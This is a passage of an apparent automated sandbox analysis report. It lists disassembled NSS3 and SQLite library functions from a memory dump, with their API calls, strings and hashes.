CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CFD2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD2CE0

Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFD2CDA,?,00000000), ref: 6CFD2E1E
Part of subcall function 6CFD2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CFD2E33
Part of subcall function 6CFD2E00: TlsGetValue.KERNEL32 ref: 6CFD2E4E
Part of subcall function 6CFD2E00: EnterCriticalSection.KERNEL32(?), ref: 6CFD2E5E
Part of subcall function 6CFD2E00: PL_HashTableLookup.NSS3(?), ref: 6CFD2E71
Part of subcall function 6CFD2E00: PL_HashTableRemove.NSS3(?), ref: 6CFD2E84
Part of subcall function 6CFD2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CFD2E96
Part of subcall function 6CFD2E00: PR_Unlock.NSS3 ref: 6CFD2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CFD2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CFD2D3F
free.MOZGLUE(00000000), ref: 6CFD2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CFD2DB8
free.MOZGLUE ref: 6CFD2DC8

Part of subcall function 6CFD3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3EC2
Part of subcall function 6CFD3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD3ED6
Part of subcall function 6CFD3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD3EEE
Part of subcall function 6CFD3E60: PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD3F02
Part of subcall function 6CFD3E60: PL_FreeArenaPool.NSS3 ref: 6CFD3F14
Part of subcall function 6CFD3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD3F27

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 761c60865e281070686e1930fe0c8bc5f0aba82debd6fd3074c694f9e6b8dd91
Instruction ID: c1c09f9b8b35a67f20a0ca56c856040af01f1fefeb324ad0112f160969591cb1
Opcode Fuzzy Hash: 761c60865e281070686e1930fe0c8bc5f0aba82debd6fd3074c694f9e6b8dd91
Instruction Fuzzy Hash: 0D51EE72A043129BEB118F69DC89B5B77E5EF84318F1A0428EC5987650EB32FC15CBD2

Function 6CFF8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF90EC

Part of subcall function 6CFC0F00: PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B
Part of subcall function 6CFC0F00: PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9111

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 9c6061efbfb7b26716e95a852ff0f99c41e26d868793b378613a49398f11e682
Instruction ID: dd58dfdfd4bc3e2ef199016ad1a2487a7d2d14b13baf6c6bf7b99f0edfc56c2a
Opcode Fuzzy Hash: 9c6061efbfb7b26716e95a852ff0f99c41e26d868793b378613a49398f11e682
Instruction Fuzzy Hash: 6F51BAB5A082058FDB00EF78D4C835ABBF5EF4A318F060569DD549B321EB71E986CB81

Function 6CFD7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFD40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFD3F7F,?,00000055,?,?,6CFD1666,?,?), ref: 6CFD40D9
Part of subcall function 6CFD40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFD1666,?,?), ref: 6CFD40FC
Part of subcall function 6CFD40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFD1666,?,?), ref: 6CFD4138

PR_GetCurrentThread.NSS3 ref: 6CFD7CFD

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0F9030), ref: 6CFD7D1B

Part of subcall function 6D02FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CFD1A3E,00000048,00000054), ref: 6D02FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0F9048), ref: 6CFD7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CFD7D50
PR_GetCurrentThread.NSS3 ref: 6CFD7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CFD7D7D
free.MOZGLUE(?), ref: 6CFD7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CFD7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CFD7E19

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: bd72c4890aed6f0e0888a1903490ad7dce27ad48c0392c14b554c842ea2cb454
Instruction ID: a444d61991d08a224032c50d3cac93efb89a6fbcdd295bb27d2ec2a3df167651
Opcode Fuzzy Hash: bd72c4890aed6f0e0888a1903490ad7dce27ad48c0392c14b554c842ea2cb454
Instruction Fuzzy Hash: C6411772A0411A9FEB008F69AC41BAF37E8AF4435CF1B0126ED09AF655E730F915C7A1

Function 6CFE7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F36
free.MOZGLUE(?,?,?,6CFE80DD), ref: 6CFE7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CFE80DD), ref: 6CFE7F5D
DeleteCriticalSection.KERNEL32(?,6CFE80DD), ref: 6CFE7F94
free.MOZGLUE(?), ref: 6CFE7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CFE80DD), ref: 6CFE7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CFE80DD), ref: 6CFE7FE6
free.MOZGLUE(?,6CFE80DD), ref: 6CFE802D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 5771d872e6784ed128a678e7f58f7b0c092cd8c48331d98db7406b0f5c6b4f3f
Instruction ID: 0e7187157edb1f04d0f2346a9de8a3dcf792052e191c85bd49bacf47301a50ff
Opcode Fuzzy Hash: 5771d872e6784ed128a678e7f58f7b0c092cd8c48331d98db7406b0f5c6b4f3f
Instruction Fuzzy Hash: E44138F9A012406BDB30AFB9E885B8B37B5AB4B318F16022AE70587741D7B1D405CBD1

Function 6D02FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D02FF00

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6D02FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D02FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6D02FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D02FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6D02FF8C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 1ff6c76dc1eae51e6e6269bf667990f3b6700b93dea3e30923905272a14a57ab
Instruction ID: 7388a101533e64f22443065fbbbbc32586bf7b6a80e9db97b9dfc3f2a5d4e049
Opcode Fuzzy Hash: 1ff6c76dc1eae51e6e6269bf667990f3b6700b93dea3e30923905272a14a57ab
Instruction Fuzzy Hash: 0231F3B6D0A3279BF7508E579880B2A7AECAF56384F024139EE1897241EB71D910C7D2

Function 6D034DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6D03536F,00000022,?,?,00000000,?), ref: 6D034E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6D034F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6D034F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6D034FAE
free.MOZGLUE(?), ref: 6D034FC8

Strings

%s=%s, xrefs: 6D034F89
%s=%c%s%c, xrefs: 6D034FA9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 56990c070b91ef02177dde92aa5c2fe62cabd2731a5422f2987d6cea57320da7
Instruction ID: 5298c53fcb906ec9180e43012659be452263fb4d16a6d16ba15bb2d65cef6aa8
Opcode Fuzzy Hash: 56990c070b91ef02177dde92aa5c2fe62cabd2731a5422f2987d6cea57320da7
Instruction Fuzzy Hash: C2510461A0816BABFB01CA6A84907FF7BF5AF4A300F5A4065E894AF341D327D84587A1

Function 6CF77D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF77E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF77E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CF77EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF77F2E

Strings

database corruption, xrefs: 6CF77EE2, 6CF77F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF77ED8, 6CF77F08, 6CF77F19
%s at line %d of [%.10s], xrefs: 6CF77EE7, 6CF77F28

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0c171e6d40592a205479afa182cb87d86443ae43f599bbba83f9447522235d3e
Instruction ID: abaa8b88c9f63605e50769f5be827b180ed1f888a41ea6521a8267ef85f22ad9
Opcode Fuzzy Hash: 0c171e6d40592a205479afa182cb87d86443ae43f599bbba83f9447522235d3e
Instruction Fuzzy Hash: 3361CF71A042059FDB26CF24E880BAA77A2FF49308F1544ABEC098B756D771EC51CBA0

Function 6CF5FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5FE83

Part of subcall function 6CF5FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CF5FEFA
Part of subcall function 6CF5FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CF5FF3B

Strings

database corruption, xrefs: 6CF5FD6E, 6CF5FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5FD64, 6CF5FE26
%s at line %d of [%.10s], xrefs: 6CF5FD73, 6CF5FE35

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: c98e86d66e5eae5044008dd7ac546e4e8254d3a29069e24f8baaf7bf648b2657
Instruction ID: c5cdca025c0784e46503f2e98efec3de8810e4a2522dd90565f2c53b327342dc
Opcode Fuzzy Hash: c98e86d66e5eae5044008dd7ac546e4e8254d3a29069e24f8baaf7bf648b2657
Instruction Fuzzy Hash: EE51A171A002059FDB44CFA9D8D0BAEB7B1FF48308F5440A9EA05AB756E771EC50CB90

Function 6D0A2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A2FFD
sqlite3_initialize.NSS3 ref: 6D0A3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D0A3032
sqlite3_mprintf.NSS3(6D10AAF9,?), ref: 6D0A3073
sqlite3_free.NSS3(?), ref: 6D0A30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6D0A30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6D0A30BB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 5f2b20bf90f82b0f316ade7a34d38bb6f420284774cdf43a70539b2a6f73eadd
Instruction ID: 46246b561fa7b395ed5e8918a56f794fc3b6e667027019d54c2f3229d90ff909
Opcode Fuzzy Hash: 5f2b20bf90f82b0f316ade7a34d38bb6f420284774cdf43a70539b2a6f73eadd
Instruction Fuzzy Hash: 6B41C071A00316ABEB00CFA5D850B5AB7E5FF48354F098528EC5987742E731F955CB90

Function 6CFE8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CFF124D,00000001), ref: 6CFE8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CFF124D,00000001), ref: 6CFE8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8D73
PR_Unlock.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8D8C

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CFF124D,00000001), ref: 6CFE8DBA

Strings

KRAM, xrefs: 6CFE8D3E
KRAM, xrefs: 6CFE8CF9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: dfece400beea2feba5fd9b8d9255b52067e81aee3493fa72265db9bc32df82e0
Instruction ID: dd650adddaf99e20c67f2f30e9c83eab6e2c8fba172c93cb5701b27dfe413d0a
Opcode Fuzzy Hash: dfece400beea2feba5fd9b8d9255b52067e81aee3493fa72265db9bc32df82e0
Instruction Fuzzy Hash: 7D2180B5A046019FDB10EF3CC48475AB7F1FF89314F15896AD99897701D730D891CB91

Function 6D0E0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0E0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0E0EFA

Part of subcall function 6CFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6D0E0ED9, 6D0E0EE5, 6D0E0F06, 6D0E0F0B
Aborting, xrefs: 6D0E0EB3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 91f0da4d55dbfcddc4f9fc9e63f07fb6f439a4c92aa6458e9aa1db5a66c161d9
Instruction ID: 933dc660cbe238a9fb8a2778dd2a9d253e261c5530233b8ea48a6e7f4d25931c
Opcode Fuzzy Hash: 91f0da4d55dbfcddc4f9fc9e63f07fb6f439a4c92aa6458e9aa1db5a66c161d9
Instruction Fuzzy Hash: 520184B68041087FDF019F96EC44AAB3F7DEF462A4B054065FE0997611D772E96087E2

Function 6D0A4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D0A4DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D0A4DCB
invalid, xrefs: 6D0A4DB8
API call with %s database connection pointer, xrefs: 6D0A4DBD
misuse, xrefs: 6D0A4DD5
%s at line %d of [%.10s], xrefs: 6D0A4DDA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
